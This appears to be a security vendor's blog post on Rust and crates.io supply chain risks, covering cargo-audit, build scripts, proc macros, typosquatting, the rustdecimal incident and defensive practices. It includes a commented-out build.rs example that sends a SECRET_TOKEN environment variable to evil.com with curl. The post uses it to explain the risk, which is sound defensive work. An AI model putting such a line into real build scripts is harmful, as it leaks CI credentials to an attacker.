Rust has earned a reputation as the language that takes safety seriously. Memory safety, type safety, thread safety — these are not afterthoughts in Rust; they are core design principles. But when it comes to supply chain security, the Rust ecosystem faces many of the same challenges as npm, PyPI, and every other package registry. The crates.io registry is growing fast, and with growth comes risk.
The State of Rust Supply Chain Security in 2022
As of early 2022, crates.io hosted over 80,000 crates with billions of cumulative downloads. Rust adoption was accelerating in critical infrastructure: the Linux kernel, Android, Windows, and cloud-native tooling were all incorporating Rust. This means supply chain compromises in the Rust ecosystem now have the potential to affect foundational software.
The Rust ecosystem has some structural advantages over other package ecosystems, but it is not immune to the attack patterns that have plagued npm and PyPI.
What Rust Gets Right
cargo-audit
The cargo-audit tool, maintained by the RustSec project, provides automated vulnerability scanning for Rust dependencies. It checks your Cargo.lock against the RustSec Advisory Database, which is a curated, community-maintained database of security vulnerabilities in Rust crates.
$ cargo audit
Fetching advisory database from `https://github.com/RustSec/advisory-db.git`
Scanning Cargo.lock for vulnerabilities (320 crate dependencies)
This is similar to npm audit but benefits from a more carefully curated advisory database with lower false positive rates.
Cargo.lock by Default
Rust projects use Cargo.lock by default for binary projects, which pins exact dependency versions. This eliminates the class of attacks where a malicious minor/patch version is automatically pulled in — the problem that enabled the colors.js sabotage.
Build Scripts Are Explicit
Rust's build.rs build scripts are explicit and visible in the crate structure. While they can execute arbitrary code at build time (a significant attack surface), their existence is at least transparent, unlike postinstall scripts in npm that can be buried in transitive dependencies.
Crate Yanking
crates.io supports "yanking" versions, which prevents new projects from depending on them while not breaking existing builds. This is a more nuanced approach than npm's unpublish mechanism and avoids the problems seen in the left-pad incident.
Where Gaps Remain
Build-Time Code Execution
The build.rs mechanism allows crate authors to execute arbitrary code during compilation. A malicious build.rs could:
- Exfiltrate environment variables (including CI/CD tokens)
- Download and execute additional payloads
- Modify source files before compilation
- Install persistent backdoors
// A malicious build.rs could do anything
fn main() {
// Legitimate: configure build
println!("cargo:rerun-if-changed=wrapper.h");
// Malicious: exfiltrate secrets
// std::process::Command::new("curl")
// .args(&["-d", &std::env::var("SECRET_TOKEN").unwrap(), "https://evil.com"])
// .output();
}
There is currently no sandboxing for build scripts, and most developers never review them in their transitive dependencies.
Typosquatting
crates.io is susceptible to typosquatting attacks. In 2022, researchers demonstrated that plausible typosquats of popular crates were available for registration. While crates.io has some name-similarity checks, they are not comprehensive enough to prevent all variants.
Procedural Macros
Rust's procedural macros execute arbitrary code at compile time, similar to build scripts. A malicious proc-macro crate could compromise a build environment without any runtime indicators.
Limited Provenance
As of early 2022, crates.io did not have robust provenance tracking. There was no way to verify that a published crate was built from a specific commit in a specific repository. The Rust community was working on RFC processes to address this, but implementation was still in early stages.
Maintainer Account Security
crates.io accounts can be secured with API tokens, but two-factor authentication for publishing was not yet mandatory. A compromised maintainer account could publish malicious versions of popular crates.
Real-World Incidents
While the Rust ecosystem has been relatively free of major supply chain attacks compared to npm, there have been notable incidents:
-
rustdecimal (2022): A typosquat of the popular
rust_decimalcrate was discovered containing malicious code that exfiltrated environment variables. The malicious crate used a hyphen instead of an underscore —rustdecimalvsrust_decimal— a subtle difference that could easily be missed. -
CrateDB vulnerabilities: Multiple crates have been found with vulnerabilities in their unsafe code blocks, which, while not supply chain attacks per se, demonstrate that Rust's safety guarantees do not extend to
unsafeblocks.
Best Practices for Rust Supply Chain Security
1. Run cargo-audit in CI
Make cargo audit a required check in your CI pipeline. Fail builds on any advisory with a severity of "high" or above.
# GitHub Actions example
- name: Security audit
run: |
cargo install cargo-audit
cargo audit
2. Review build.rs in Dependencies
Before adding a new dependency, check if it (or any of its transitive dependencies) contains a build.rs file. Understand what it does.
3. Use cargo-deny
The cargo-deny tool provides additional checks beyond cargo-audit, including license compliance, duplicate dependency detection, and source restrictions.
# deny.toml
[advisories]
vulnerability = "deny"
unmaintained = "warn"
[licenses]
allow = ["MIT", "Apache-2.0", "BSD-3-Clause"]
4. Pin and Verify
Use Cargo.lock for all projects (not just binaries), and audit changes to it in code review. Consider using cargo-vet to track security reviews of your dependencies.
5. Minimize Dependencies
Rust's standard library is more capable than Node.js's, which means you often do not need external crates for basic functionality. Before adding a dependency, ask: "Can I implement this in 50 lines of code?"
How Safeguard.sh Helps
Safeguard.sh extends its supply chain security monitoring to Rust projects, tracking crate dependencies, identifying known vulnerabilities via the RustSec database, and generating SBOMs that include your full Cargo dependency tree. Our platform monitors for typosquatting patterns, maintainer anomalies, and build script risks across the crates.io ecosystem, giving you continuous visibility into the security posture of your Rust supply chain.